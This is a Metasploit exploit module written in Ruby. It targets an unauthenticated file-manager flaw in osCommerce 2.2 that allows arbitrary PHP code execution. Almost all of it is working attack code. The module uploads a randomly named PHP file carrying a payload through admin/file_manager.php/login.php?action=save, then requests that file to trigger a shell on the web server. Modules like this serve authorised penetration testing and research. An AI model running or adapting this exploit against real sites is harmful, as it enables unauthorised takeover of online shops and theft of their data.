```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'osCommerce 2.2 Arbitrary PHP Code Execution',
        'Description' => %q{
          osCommerce is a popular open source E-Commerce application.
          The admin console contains a file management utility that
          allows administrators to upload, download, and edit files.
          This could be abused to allow unauthenticated attackers to
          execute arbitrary code with the permissions of the
          webserver.
        },
        'Author' => [ 'egypt' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2009-20006' ],
          [ 'OSVDB', '60018' ],
          [ 'EDB', '9556' ]
        ],
        'Privileged' => false,
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Payload' => {
          'Space' => 4000,
          # max url length for some old versions of apache according to
          # http://www.boutell.com/newfaq/misc/urllength.html
          'DisableNops' => true,
          # 'BadChars'    => %q|'"`|,  # quotes are escaped by PHP's magic_quotes_gpc in a
default install
          'Compat' =>
                        {
                          'ConnectionType' => 'find',
                        },
          # Since our payload is uploaded as a file, it is polite to
          # clean up after ourselves.
          'Prepend' => "unlink(__FILE__);",
          'Keys' => ['php'],
        },
        'Targets' => [ ['Automatic', {}], ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2009-08-31',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('URI', [ true, "Base osCommerce directory path", '/catalog/']),
      ]
```

```
      )
    end

    def exploit
      # Our filename gets run through basename(), so we can have arbitrary
      # junk in front of slashes and it will get stripped out. The unlink in
      # Payload => Prepend above ensures that the file is deleted.
      filename = rand_text_alphanumeric(rand(5) + 5) + "/"
      (rand(5) + 5).times do
        filename << rand_text_alphanumeric(rand(5) + 5) + "/"
      end
      filename << rand_text_alphanumeric(rand(5) + 5) + ".php"

      p = rand_text_english(rand(100) + 100) + "<?php " + payload.encoded + " ?>" +
  rand_text_english(rand(100) + 100)
      p = Rex::Text.uri_encode(p)
      data = "filename=#{filename}&file_contents=#{p}"

      print_status("Sending file save request")
      response = send_request_raw({
        'uri'     => normalize_uri(datastore['URI'], "admin/file_manager.php/login.php") + "?
  action=save",
        'method' => 'POST',
        'data' => data,
        'ctype' => 'application/x-www-form-urlencoded'
      }, 3)

      # If the upload worked, the server tries to redirect us to some info
      # about the file we just saved
      if response and response.code != 302
        print_error("Server returned non-302 status code (#{response.code})")
      end

      print_status("Requesting our payload")
      # very short timeout because the request may never return if we're
      # sending a socket payload
      timeout = 0.1
      response = send_request_raw({
        # Allow findsock payloads to work
        'global' => true,
        'uri' => normalize_uri(datastore['URI'], File.basename(filename))
      }, timeout)

      handler
    end
  end
```